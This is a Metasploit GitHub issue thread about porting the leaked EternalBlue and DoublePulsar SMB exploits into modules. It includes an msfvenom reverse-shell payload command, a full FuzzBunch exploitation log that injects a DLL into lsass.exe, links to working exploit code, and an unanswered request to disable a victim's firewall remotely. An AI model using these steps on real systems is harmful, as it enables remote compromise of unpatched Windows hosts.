rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34k stars 13.94k forks source link

Module request: EternalPulsar #8269

Closed timwr closed 7 years ago

timwr commented 7 years ago

You can follow this tutorial to inject a meterpreter DLL using FuzzBunch: http://www.hackingtutorials.org/exploit-tutorials/exploiting-eternalblue-for-shell-with-empire-msfconsole/

It would be nice to have DoublePulsar and EternalBlue modules (amongst others) as standalone modules: https://github.com/DonnchaC/shadowbrokers-exploits/blob/master/windows/fb.py

nixawk commented 7 years ago

METASPLOIT && PAYLOAD

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.206.1 LPORT=4444 -a x64 -f exe > msf.dll
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes

msf > use exploit/multi/handler
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > set LHOST 192.168.206.1
LHOST => 192.168.206.1
msf exploit(handler) > run -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.206.1:4444
[*] Starting the payload handler...
msf exploit(handler) > jobs

Jobs
====

  Id  Name                    Payload                              Payload opts
  --  ----                    -------                              ------------
  0   Exploit: multi/handler  windows/x64/meterpreter/reverse_tcp  tcp://192.168.206.1:4444

msf exploit(handler) >
[*] Sending stage (1189423 bytes) to 192.168.206.147
[*] Meterpreter session 1 opened (192.168.206.1:4444 -> 192.168.206.147:49165) at 2017-04-18 22:27:13 -0500

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : GOOGLE
OS              : Windows 7 (Build 7600).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows

ETERNALBLUE && Doublepulsar

C:\Fuzzbunch>python fb.py

--[ Version 3.5.1

[*] Loading Plugins
[*] Initializing Fuzzbunch v3.5.1
[*] Adding Global Variables
[+] Set ResourcesDir => C:\Fuzzbunch\Resources
[+] Set Color => True
[+] Set ShowHiddenParameters => False
[+] Set NetworkTimeout => 60
[+] Set LogDir => C:\logs
[*] Autorun ON

ImplantConfig Autorun List
==========================

  0) prompt confirm
  1) execute

Exploit Autorun List
====================

  0) apply
  1) touch all
  2) prompt confirm
  3) execute

Special Autorun List
====================

  0) apply
  1) touch all
  2) prompt confirm
  3) execute

Payload Autorun List
====================

  0) apply
  1) prompt confirm
  2) execute

[+] Set FbStorage => C:\Fuzzbunch\storage

[*] Retargetting Session

[?] Default Target IP Address [] : 192.168.206.147
[?] Default Callback IP Address [] : 192.168.206.130
[?] Use Redirection [yes] : no

[?] Base Log directory [C:\logs] :
[*] Checking C:\logs for projects
Index     Project
-----     -------
0         Fuzzbunch
1         Create a New Project

[?] Project [0] : 1
[?] New Project Name : ETERNALBLUE_SMBWIN7_64
[?] Set target log directory to 'C:\logs\eternalblue_smbwin7_64\z192.168.206.147
'? [Yes] :

[*] Initializing Global State
[+] Set TargetIp => 192.168.206.147
[+] Set CallbackIp => 192.168.206.130

[!] Redirection OFF
[+] Set LogDir => C:\logs\eternalblue_smbwin7_64\z192.168.206.147
[+] Set Project => eternalblue_smbwin7_64

fb > USE Eternalblue

[!] Entering Plugin Context :: Eternalblue
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.206.147

[*] Applying Session Parameters
[*] Running Exploit Touches

[!] Enter Prompt Mode :: Eternalblue

Module: Eternalblue
===================

Name                  Value
----                  -----
NetworkTimeout        60
TargetIp              192.168.206.147
TargetPort            445
VerifyTarget          True
VerifyBackdoor        True
MaxExploitAttempts    3
GroomAllocations      12
Target                WIN72K8R2

[!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] :

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 f
or no timeout.

[?] NetworkTimeout [60] :

[*]  TargetIp :: Target IP Address

[?] TargetIp [192.168.206.147] :

[*]  TargetPort :: Port used by the SMB service for exploit connection

[?] TargetPort [445] :

[*]  VerifyTarget :: Validate the SMB string from target against the target sele
cted before exploitation.

[?] VerifyTarget [True] :

[*]  VerifyBackdoor :: Validate the presence of the DOUBLE PULSAR backdoor befor
e throwing. This option must be enabled for multiple exploit attempts.

[?] VerifyBackdoor [True] :

[*]  MaxExploitAttempts :: Number of times to attempt the exploit and groom. Dis
abled for XP/2K3.

[?] MaxExploitAttempts [3] :

[*]  GroomAllocations :: Number of large SMBv2 buffers (Vista+) or SessionSetup
allocations (XK/2K3) to do.

[?] GroomAllocations [12] :

[*]  Target :: Operating System, Service Pack, and Architecture of target OS

    0) XP            Windows XP 32-Bit All Service Packs
   *1) WIN72K8R2     Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs

[?] Target [1] :

[!] Preparing to Execute Eternalblue

[*]  Mode :: Delivery mechanism

   *0) DANE     Forward deployment via DARINGNEOPHYTE
    1) FB       Traditional deployment from within FUZZBUNCH

[?] Mode [0] : 1
[+] Run Mode: FB

[?] This will execute locally like traditional Fuzzbunch plugins. Are you sure?
(y/n) [Yes] :
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.206.147] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.206.147:445

[+] Configure Plugin Remote Tunnels

Module: Eternalblue
===================

Name                  Value
----                  -----
DaveProxyPort         0
NetworkTimeout        60
TargetIp              192.168.206.147
TargetPort            445
VerifyTarget          True
VerifyBackdoor        True
MaxExploitAttempts    3
GroomAllocations      12
ShellcodeBuffer
Target                WIN72K8R2

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[*] Connecting to target for exploitation.
    [+] Connection established for exploitation.
[*] Pinging backdoor...
    [+] Backdoor not installed, game on.
[*] Target OS selected valid for OS indicated by SMB reply
[*] CORE raw buffer dump (24 bytes):
0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
0x00000010  74 65 20 37 36 30 30 00                          te 7600.
[*] Building exploit buffer
[*] Sending all but last fragment of exploit packet
    ................DONE.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Starting non-paged pool grooming
    [+] Sending SMBv2 buffers
        .............DONE.
    [+] Sending large SMBv1 buffer..DONE.
    [+] Sending final SMBv2 buffers......DONE.
    [+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Sending last fragment of exploit packet!
    DONE.
[*] Receiving response from exploit packet
    [+] ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending egg to corrupted connection.
[*] Triggering free of corrupted buffer.
[*] Pinging backdoor...
    [+] Backdoor returned code: 10 - Success!
    [+] Ping returned Target architecture: x64 (64-bit)
    [+] Backdoor installed
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] CORE sent serialized output blob (2 bytes):
0x00000000  08 00                                            ..
[*] Received output parameters from CORE
[+] CORE terminated with status code 0x00000000
[+] Eternalblue Succeeded

fb Special (Eternalblue) > USE Doublepulsar

[!] Entering Plugin Context :: Doublepulsar
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.206.147

[*] Applying Session Parameters

[!] Enter Prompt Mode :: Doublepulsar

Module: Doublepulsar
====================

Name              Value
----              -----
NetworkTimeout    60
TargetIp          192.168.206.147
TargetPort        445
OutputFile
Protocol          SMB
Architecture      x86
Function          OutputInstall

[!] Plugin Variables are NOT Valid
[?] Prompt For Variable Settings? [Yes] :

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds).  Use -1
for no timeout.

[?] NetworkTimeout [60] :

[*]  TargetIp :: Target IP Address

[?] TargetIp [192.168.206.147] :

[*]  TargetPort :: Port used by the Double Pulsar back door

[?] TargetPort [445] :

[*]  Protocol :: Protocol for the backdoor to speak

   *0) SMB     Ring 0 SMB (TCP 445) backdoor
    1) RDP     Ring 0 RDP (TCP 3389) backdoor

[?] Protocol [0] :

[*]  Architecture :: Architecture of the target OS

   *0) x86     x86 32-bits
    1) x64     x64 64-bits

[?] Architecture [0] : 1
[+] Set Architecture => x64

[*]  Function :: Operation for backdoor to perform

   *0) OutputInstall     Only output the install shellcode to a binary file on d
isk.
    1) Ping              Test for presence of backdoor
    2) RunDLL            Use an APC to inject a DLL into a user mode process.
    3) RunShellcode      Run raw shellcode
    4) Uninstall         Remove's backdoor from system

[?] Function [0] : 2
[+] Set Function => RunDLL

[*]  DllPayload :: DLL to inject into user mode

[?] DllPayload [] : C:\\msf.dll
[+] Set DllPayload => C:\\msf.dll

[*]  DllOrdinal :: The exported ordinal number of the DLL being injected to call

[?] DllOrdinal [1] :

[*]  ProcessName :: Name of process to inject into

[?] ProcessName [lsass.exe] :

[*]  ProcessCommandLine :: Command line of process to inject into

[?] ProcessCommandLine [] :

[!] Preparing to Execute Doublepulsar
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.206.147] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.206.147:445

[+] Configure Plugin Remote Tunnels

Module: Doublepulsar
====================

Name                  Value
----                  -----
NetworkTimeout        60
TargetIp              192.168.206.147
TargetPort            445
DllPayload            C:\msf.dll
DllOrdinal            1
ProcessName           lsass.exe
ProcessCommandLine
Protocol              SMB
Architecture          x64
Function              RunDLL

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
        [+] Backdoor returned code: 10 - Success!
        [+] Ping returned Target architecture: x64 (64-bit) - XOR Key: 0xC57F38FF
    SMB Connection string is: Windows 7 Ultimate 7600
    Target OS is: 7 x64
    Target SP is: 0
        [+] Backdoor installed
        [+] DLL built
        [.] Sending shellcode to inject DLL
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Command completed successfully
[+] Doublepulsar Succeeded

If exploit packets is uploaded here, it'll looks good.

ghost commented 7 years ago

Anyone planning to work on this see my comments in PR #8271

I probably will hack up something rudimentary for DoublePulsar in the next few days. But I would definitely need some help from you and others in organizing it since you are more familiar with the framework. Where/how should I separate out all the SMB packets that will be re-used across the modules? There needs to be like a MS17-010 mixin.

At first we can just make a module with a lot of hardcoded stuff that interacts with DoublePulsar. One thing that needs to get separated out and cleaned up is a raw kernel payload to inject DLL. Perhaps two, one that takes an existing process name (such as lsass.exe [i.e. what DP does]) and one which spawns a hidden process with a system token. I don't know if Metasploit has such a thing already? These payloads should then be the ones used during MS17-010 exploitation, instead of putting a backdoor in the kernel.

Another question is, since DP ping tells us the architecture, is there a way to say "I just want meterpreter/reverse_tcp" and get it in x86 or x64 flavor automatically, or is that switch only available via the target option? I guess it could just see if the ping arch matches the current target arch if nothing else.

I've also pretty much reversed all of pertinent parts of EternalBlue.exe. One thing I'd like to avoid is a lot of duplicated effort (such as what happened with EXTRABACON, which was my fault). I don't know if anyone else is planning on porting it to Metasploit.

timwr commented 7 years ago

@zerosum0x0 you rock! I've attempted to answer some questions as best I can. Hoping some of the others can chime in too (and likely correct me).

There needs to be like a MS17-010 mixin.

How about lib/msf/core/exploit/smb/ms17_010.rb? Should be ok to include this in the aux module as well.

These payloads should then be the ones used during MS17-010 exploitation, instead of putting a backdoor in the kernel.

Interesting, if ExternalBlue executes shellcode in ring0 then why can't you just use take the payload shellcode, e.g payload.encoded and skip the whole DoublePulsar backdoor thing? Perhaps I'm missing something.

I don't know if Metasploit has such a thing already?

PrependMigrate or PrependMigrateProc?

Another question is, since DP ping tells us the architecture, is there a way to say "I just want meterpreter/reverse_tcp" and get it in x86 or x64 flavor automatically, or is that switch only available via the target option? I guess it could just see if the ping arch matches the current target arch if nothing else.

Good question. I'm not sure, anyone? I didn't know you could do the "opcode trickery to branch to the correct architecture" trick, very clever! You can probably just use the arch from whatever payload is selected for now, e.g: payload_instance.arch and:

      'Platform'         => 'win',
      'Targets'          =>
        [
          [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
        ],
      'DefaultTarget'    => 0,
ghost commented 7 years ago

Thanks @timwr

I did some glancing at existing code. It seems the only other similar exploit (remote windows kernel) is MS09-050. It is x86 only and also seems to overwrite the syscall registers to enter usermode, something we probably don't want to do. I will add some shellcode to make Msf::Exploit::KernelMode compatible for x64, and inject DLL payloads.

Interesting, if ExternalBlue executes shellcode in ring0 then why can't you just use take the payload shellcode, e.g payload.encoded and skip the whole DoublePulsar backdoor thing? Perhaps I'm missing something.

Yep, that's the plan.

wvu commented 7 years ago

Oops, missed @timwr's response here. I think we're in agreement. :)

jork2345 commented 7 years ago

so who's gonna build this ?

wvu commented 7 years ago

@zerosum0x0 is tentatively building this.

ghost commented 7 years ago

@wvu-r7 @jork2345

Specifically I'm working on updating Msf::Exploit::KernelMode for x64 payloads and injecting DLLs in a similar way to what EQGRP did. Currently it does neither of these things. I also was bored on a flight and re-read some of skape's old papers. The DP module should be pretty simple with these payloads in place. I give the eta maybe late this weekend? It will be very convenient on pentests. Thans @wvu-r7 for reminding me of arch detection in #8309, it's gonna make the DP module better, I was thinking of just having a wrong arch silently error but we can do the check during the knock stage.

@jennamagius and I have been poking at EternalBlue. We are fairly far along in our understanding and have some ideas to instrument/fuzz some things, but hard to tell how close we are. Sometimes in RE/exploit luck can get you there faster than skill.

jennamagius commented 7 years ago

EternalBlue is fairly straightforward to reproduce, the only trick is that it involves opening 21 different connections. I've been able to install DoublePulsar without using the NSA tools by directly replaying the captured attack.

Files to reproduce this are: https://gist.github.com/jennamagius/301cead69d87719819d56fbde0d81238 https://gist.github.com/jennamagius/ca036fca317b3aeb33f55495e2a45ea7

That's proven to work fairly consistently on freshly booted Server 08 R2 boxes. I think all it needs to work on non-freshly-booted ones is monkey patching in the correct "User ID" and "Tree ID" values out of the Session Setup AndX and Tree Connect AndX responses into all the later packets in connection 1.

What it does right now is install doublepulsar though, and I'd rather skip the step of installing doublepulsar and just directly run a metasploit payload into a userland process in one step. We're working on that right now.

Note: If you run that replayer, then run the doublepulsar detection scanner, and it doesn't show as infected, Give it a few minutes. Occasionally the shellcode takes a minute or two to actually pop, especially when nobody's interacting with the system.

ghost commented 7 years ago

The EQGRP DoublePulsar shellcode, much like ExtraBacon, has many areas for improvement. Much of it seems like a copy/paste of compiler output.

Creating a thread (or a process) from kernel mode is a complex process, so I'm going to skip such a payload for now. The problem is that most of the structures are opaque and offsets change between Windows versions.

@wvu-r7 @timwr

There is a win32 kernelmode folder, which is a hook into encoder for the userland payload which wraps it up with all the kernel mode stuff. You'll notice it is all x86 and fairly well organized already.

I've made a win64 kernelmode folder, using the exact same method names. We'll have to go back and tie this up as an interface and generate with virtual methods, switching on the ARCH of the Target. This is framework glue I'm out of my element on and I will need some additional pulls to my branch from others when the PR is up.

Only one exploit relies on the existing code, MS09-050, so it shouldn't be too bad if we have to make some breaking changes.

timwr commented 7 years ago

There is PrependFork but I don't think it works for Windows payloads :/

d78ui98 commented 7 years ago

what could be the possible reason ?

`Module: Eternalblue

Name Value


DaveProxyPort 0 NetworkTimeout 60 TargetIp 192.168.45.141 TargetPort 445 VerifyTarget True VerifyBackdoor True MaxExploitAttempts 3 GroomAllocations 12 ShellcodeBuffer Target WIN72K8R2

[?] Execute Plugin? [Yes] : [] Executing Plugin [] Connecting to target for exploitation. [-] Error connecting to target [+] CORE terminated with status code 0xdf5d000b [-] Error getting output back from Core; aborting... [!] Plugin failed [-] Error: Eternalblue Failed`

wvu commented 7 years ago

Firewall? Host not up?

d78ui98 commented 7 years ago

thanks it worked!! @wvu-r7 Is there any way i can turn off the victims firewall not manually.. and i want to know everything there is to know about these exploits.. I have to give a presentation on this. Can you help?

ghost commented 7 years ago

Just wanted to give a quick update. Writing, and debugging, ring0 code is understandably a slow process. Once this process is complete, @jennamagius and I will work on DoublePulsar and EternalBlue exploit modules.

I am 80-90% complete on the shellcode journey. It's important to completely reverse these payloads to understand what they do.

A lot of this payload is based on stuff skape theorized very early on. In fact, when I try to find more info, it's either skape theories or windows driver forum posts (already pretty obscure) where obvious malware authors pose the questions. Of course, questions by obvious malware authors aren't answered in any meaningful ways. My favorite RE book, Practical Malware Analysis, brushes on this topic for a whopping 2 paragraphs. In the CIA vault7 wikileaks, I found similar information, but it is also just one paragraph of theory summarizing skape and doesn't go the full distance.

What I've found from the NSA shellcode is the genius you would expect. Their payloads aren't optimized but they are clever. Queuing an APC requires hardcoded offsets, as most things in Windows user API and Kernel API are exposed through opaque pointers (i.e. handles). So the NSA has numerous hardcoded offsets, but also dynamically finds things like ETHREAD.ThreadListEntry.

I'm working on making sure all of the shellcode has such great ideas included, as well as the shortcuts I have researched to make it much smaller. When complete, the code will be shrunk from anywhere to 15-20% of the EQGRP size. Given what we saw with ExtraBacon and other analysis of the Windows payloads, this reduction in size isn't complete surprising.

ghost commented 7 years ago

I have finished the x64 ring0->ring3 payload. It is ~704 bytes, NSA was ~4885, meaning it is 14.41% of the size. It's also not fully optimized yet, but I don't know how much more I'll play with it. The ring3 payloads are normal userland shellcode instead of a DLL, so even the ring3 stuff is a lot smaller too.

You take this ring0 output, and append a ring3 userland payload (itself prepended with little endian short 2 bytes of size)

In action (704 + 2 + 510 = 1216 bytes for windows/x64/shell/reverse_tcp):

http://i.imgur.com/2nZ1Q1M.png

While I mentioned it was cool the NSA code dynamically finds certain opaque offsets, there are still several which cannot be found dynamically. Since these other offsets require hardcoding, I decided the dynamic ones should instead be precalculated as well. This reduces code size by about 70 bytes. The dynamic offset locations isn't useful when you still need to hardcode offsets for each version.

(It could be the other offsets never really change. The code for dynamic offset locations is there in an ifdef. Will require more experimentation across versions.)

I will have to translate what I have now to make a similar x86 payload. The payload doesn't really follow all of the same conventions the MS09-050 payload does, and has a lot of new code than that module uses.

I want to get functional DoublePulsar and EternalBlue modules in as soon as possible, so initially some of the code will be ugly. Just because its multi-arch and remote ring0 stuff. We can get it organized into appropriate slots.

I've been busy as shit lately which will continue this week :( Hopefully @jennamagius can pull some magic

OJ commented 7 years ago

@zerosum0x0 I'm sure I can say this on behalf many of us, but thanks for all your efforts so far! It's greatly appreciated. I'd offer to throw some time in to help in some way but I'm already swamped enough (and probably useless to you anyway).

ghost commented 7 years ago

Thanks @OJ. We obsess because it's somehow fun, right? Also, your contributions are far from useless to me, I think of you every time I load kiwi.

theblackturtle commented 7 years ago

Thanks @zerosum0x0, Can you tell me how I can exploit windows 8-8.1 with this exploit ? I tried but couldn't do it. Thanks.

wvu commented 7 years ago

This is not a support forum, folks. Please take it to IRC or https://community.rapid7.com/. Thanks.

thelightcosine commented 7 years ago

@zerosum0x0 I'm working on trying to get everything needed for EternalBlue into the RubySMB library. https://github.com/rapid7/ruby_smb

This should hopefully be able to help with the efforts you're going through. I'm just finishing up the basic Trans2 system, and about to get some bare bones NT Transact stuff in. Please let me know anything specific you need/want from RubySMB to help you with this.

ghost commented 7 years ago

@dmaloney-r7 we will definitely include what we can, thanks so much for the library no one else wanted to write. There are certain packets in EternalBlue that are basically not real SMB at all, just totally incoherent headers and full of shellcode spam, we'll probably just send to the raw socket for those. Basically if it has at least some basic level of Wireshark dissection, we'll write the proper packets using the new library. I don't recall off the top of my head if we need anything besides the Trans2 but I will let you know if we do.

wvu commented 7 years ago

Thanks for your relentless dedication on this, @zerosum0x0. I think we can understand the obsession. ;)

thelightcosine commented 7 years ago

@zerosum0x0 a bunch of them appear to be malformed generic Trans2 packets, which rubySMB should be able to support to a certain extent. You can create a Trans2Request packet, set all the headers and such, and at worst convert it to the binary string format, and then rip out what you don't need and jam your shellcode in there.

jennamagius commented 7 years ago

Quick update here: we have a working python script that uses EternalBlue to run msfvenom output directly without ever installing DoublePulsar at https://github.com/RiskSense-Ops/MS17-010 in exploits/eternalblue . It's still pretty ramshackle, but the hardest parts are out of the way.

From here, we're working on: packaging it in a module, nulling out as much of the non-shellcode packets as possible to prove that their contents don't matter (I'm quite confident they don't), improving exploit reliability, and using an SMB library where possible.

I suspect using an SMB library is going to be quite viable for three of the twenty one connections the python script makes, as those are either well-formed or only gently-deformed SMB traffic. For the remaining 18 connections, I suspect using a library is much less viable (wireshark doesn't even recognize the TCP traffic in them with the 'SMB' filter). We'll use what we can.

Here are some testimonies from satisfied users: https://twitter.com/xillwillx/status/862046474825236480 https://twitter.com/Viss/status/861988983542173696 https://twitter.com/Miles127001/status/862027218746314753

wvu commented 7 years ago

Thanks so much, @jennamagius! My regards to both you and @zerosum0x0 for handling this.

ghost commented 7 years ago

@dmaloney-r7 I have created an issue on ruby_smb we can use to discuss needed components https://github.com/rapid7/ruby_smb/issues/89

ghost commented 7 years ago

@jennamagius and I have been experimenting, we've narrowed EternalBlue down to about 3 different types of packets. We are juggling their order to see if triggering rate can be improved. We haven't yet experimented with delta grooming and threading at all, which I only imagine will also increase triggering rate. We were also able to remove the 10 second sleep the original exploit uses.

Right now with all of our experiments, we can trigger 2-7 times in a row pretty easily. Then it seems like the pool needs a cool off period, perhaps some type of garbage collection needs to run, I'm not 100%. But a few minutes later you'll get a hot streak again.

As I said, we've narrowed it down to about 3 packets, so hopefully we can get something rudimentary up this weekend or so? One slow down is I am trying to use some of the RubySMB internals (as many exploits use the Rex internals not just simpleclient) but there isn't any example code in exploits yet. I think I get the picture now though.

--

Also I believe Microsoft released another patch for MS17-010, this time for VM hosts. If a VM host has this new patch, its VM guests cannot be exploited remotely, packets are dropped and you get momentarily shunned. Disabling Windows Defender on the host makes no difference. I saw this phenomenon happen on two separate physical machines in my lab, and also on a pentest this week.

VM to VM (both on patched host) attacks still work, even on bridged connections.

Maybe I am losing it.

wvu commented 7 years ago

No rush. Been following your work at https://github.com/RiskSense-Ops/MS17-010, too. Cheers!

ghost commented 7 years ago

We have EternalBlue, full Metasploit port. No opaque binary. TY co-author @jennamagius

http://i.imgur.com/7bCvFAA.png

See pull request: https://github.com/rapid7/metasploit-framework/pull/8381

The code is still a little rough, the culmination of weeks of effort. I spent all day reverse engineering the semantics of every packet, which Wireshark was only marginally helpful. It was an eternal BSOD. Should be stable now.

I tried to use the new RubySMB library where I could, but 90% of these packets are malformed. I do use it to connect to IPC$ and to create the "free hole" packets though. The SMB2 stuff is literally just nulls and shellcode, no real headers, so I didn't bother.

The GIL scheduler was not good for this exploit, but doesn't matter I also concluded that multi-threading the exploit is unnecessary and actually more harm than good. I'll probably do a full exploit writeup on my blog in the coming days which will explain that and all my other findings. There's a lot of weird stars that align for this one.

I will submit a PR to master branch tomorrow once I clean up code some more. We will then need to do the chore of separating things out (such as the kernel payload and a MS17-010 mixin).

--

I forgot to mention, XP has a completely different exploit mechanism (since SMB2 is Vista+). I will look at porting XP later this week. I will also have to write the x86 kernel code, right now the payload only supports x64. Both the x86 and the XP port should be a smooth process now though.

--

Note to anyone concerned because of the ransomware attacks. The genie is already out of the bottle with EternalBlue. Let's keep in mind it's probably easier to rebundle the EternalBlue.exe than it is to pull in Ruby and Metasploit. Also, the original exploit still targets more versions. Just patch your systems people, it really isn't that hard. Whitehats need this exploit (instead of sketchy NSA malware) to show its impact to clients. And they often still don't get it. FuzzBunch already makes this attack point and click, and the blackhats already have worms.

This exploit also demonstrates what is important in the exploit for IDS/IPS/firewall rule makers. By finding out everything that can be nulled out, it evades many rules which were not fully considered, however those vendors can now add proper rules before an "0-day" worm version of it comes out.

Also, for these and many reasons we will not be supporting 2012, or any other versions not in the original exploit, for the foreseeable future. You'd need an entirely different approach for Server 2016 mitigations.

richardski commented 7 years ago

Really excellent work

Richard

wvu commented 7 years ago

Thanks again, @zerosum0x0 && @jennamagius. Feel free to assign me to the PR when it comes in. Cheers! :cake:

Viss commented 7 years ago

thank-you-smith

hdm commented 7 years ago

Awesome work! One small request would be to convert the make_kernel_shellcode() method to use inline Metasm, which would make it easier to follow and adjust in the future. There are a bunch of small tweaks that might make this more likely to bypass an IDS filter, but I can take a stab at those once the PR is landed. Thank you!

ghost commented 7 years ago

Completely agree @hdm , make_kernel_code() can't stand as a raw binary blob like that. As you said, there are opportunities for small tweaks. I left "\x41" in a couple areas as a placeholder for random data. It was funny seeing that familiar number in registers when I was blue screening, perhaps I could have saved an hour with the pattern generator.

One question I have is, there is a 5 second sleep after exploitation, to see if the exploit stages. Can I get a list of pending connections from the handler, even if its still in the process of staging? Then it can be a smaller sleep. The original exploit has a 10 second sleep, but we free the corrupted buffer by just immediately closing the sockets.

I have to say this new exploit is much more reliable than our initial PoC. I guess taking the time to get everything in the right order and understanding root cause paid off.

ghost commented 7 years ago

Made a branch for PR https://github.com/rapid7/metasploit-framework/pull/8381

thelightcosine commented 7 years ago

@zerosum0x0 great work mate, i'm still working on getting everything in place with RubySMB to help support this. Don't let me hold you up though, we can always go back and refactor RubySMB in.

toekhaing commented 7 years ago

Great! I'll test it soon

mandrillmaze commented 7 years ago

Awesome work, dudes. Thank you for sharing! Had a lot of fun with this today.

I've created a minor issue about the ProcessName option not working here https://github.com/RiskSense-Ops/MS17-010/issues/17.

Similarly, one about a replicable SMB set up that causes exploit failure and cause the victim user to be logged out after a minute here https://github.com/RiskSense-Ops/MS17-010/issues/18

wvu commented 7 years ago

Responded to your first issue, @mandrillmaze. Thanks.

mandrillmaze commented 7 years ago

Since the original repo was just nuked (because support was very understandably nightmarish), I'll report the minor issues in this post. For reference, here is the code: ms17_010_eternalblue.rb

ProcessName is currently superficial

One can write set ProcessName not_a_thing.exe.jpg and the exploit will still function. It always tries to get to spoolsvc.exe. On line 144 of the code, we see the variable process_name in the functoin smb_eternalblue is never used. @wvu-r7 already addressed this, but that reply is lost.

Password Protected Sharing causes the exploit to fail and the victim user to be log out

On Windows 7 SP1 64bit (unpatched for the exploit), in Network and Sharing Center, Advanced sharing settings. Setting:

Note these are the default settings for a Public network (e.g. as Windows 7 can detect host-to-VM-only networks) and other uses reported similar behaviour.

Then subsequently trying to run the exploit will cause the exploit to fail and the victim user to be notified that they will be logged off in 60s, also killing SMB until it is restarted. Perhaps the exploit could check if password protected sharing is on.

Again, thank you for the awesome work!

ghost commented 7 years ago

Thanks @mandrillmaze the first item was on the list for #8399, I have gone ahead and added the second item as well.